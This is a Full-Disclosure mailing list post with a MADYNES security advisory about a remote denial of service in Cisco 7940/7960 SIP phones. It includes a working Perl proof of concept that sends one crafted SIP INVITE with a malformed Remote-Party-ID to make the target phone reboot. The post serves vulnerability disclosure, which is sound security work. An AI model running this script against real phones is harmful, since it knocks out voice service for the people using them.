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CISCO Phone 7940 DOS vulnerability
From: Radu State <state () loria fr>
Date: Tue, 20 Mar 2007 09:28:30 +0100
MADYNES Security Advisory http://madynes.loria.fr Severity: High Title: Cisco 7940 SIP INVITE remote DOS Date: February 19, 2007 ID: KIPH2 Synopsis: After sending a cra fted INVITE message the device immediately reboots. The phone does not check properly the sipURI field of the Remote-Party-ID in the message. The vendor was informed and acknowledged the vulnerability. This vulnerability was identified by the Madynes research team at INRIA Lorraine, using the Madynes VoIP fuzzer. Background: SIP is the IETF standardized (RFCs 2543 and 3261) protocol for VoIP signalization. SIP is an ASCII based INVITE message is used to initiate and maintain a communication session. Affected devices: Cisco phone 7940/7960 running firmware P0S3-07-4-00 Unaffected: devices running firmware POS8-6-0 Proof of Concept Code: #!/usr/bin/perl use IO::Socket::INET; die "Usage $0 <dst> <port> <username>" unless ($ARGV[2]); $socket=new IO::Socket::INET->new(PeerPort=>$ARGV[1], Proto=>'udp', PeerAddr=>$ARGV[0]); $msg="INVITE sip:$ARGV[2]\@$ARGV[0] SIP/2.0\r\nVia: SIP/2.0/UDP 192.168.1.2;branch=z9hG4jk\r\nFrom: sip:chirimolla \@192.168.1.2;tag=qwzng\r\nTo: <sip:$ARGV[2]\@$ARGV[0];user=ip>\r \nCall-ID: fosforito\@192.168.1.1\r\nCSeq: 921 INVITE\r \nRemote-Party-ID: csip:7940-1\@192.168.\xd1.7\r\n\r\n"; $socket->send($msg); Description: After receiving one crafted SIP INVITE message, the affected device reboots immediately. The proof of concept code can be used to demonstrate the vulnerability. Impact A malicious user can remotely crash and perform a denial of service attack by sending one crafted SIP INVITE message. This is conceptually similar to the “ping of death”. Resolution: Fixed software is available from the vendor and customers following recommended best practices (ie segregating VOIP traffic from data) will be protected from malicious traffic in most situations. Credits: Humberto J. Abdelnur (Ph.D Student) Radu State (Ph.D) Olivier Festor (Ph.D) This vulnerability was identified by the Madynes research team at INRIA Lorraine, using the Madynes VoIP fuzzer. http://madynes.loria.fr/ Information about us: Madynes is a research team at INRIA Lorraine working on VoIP Security assessment, intrusion detection and prevention. _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Current thread:
- CISCO Phone 7940 DOS vulnerability Radu State (Mar 20)
- Re: CISCO Phone 7940 DOS vulnerability Matthew Cerha (Mar 20)
- Re: CISCO Phone 7940 DOS vulnerability Shawn Merdinger (Mar 20)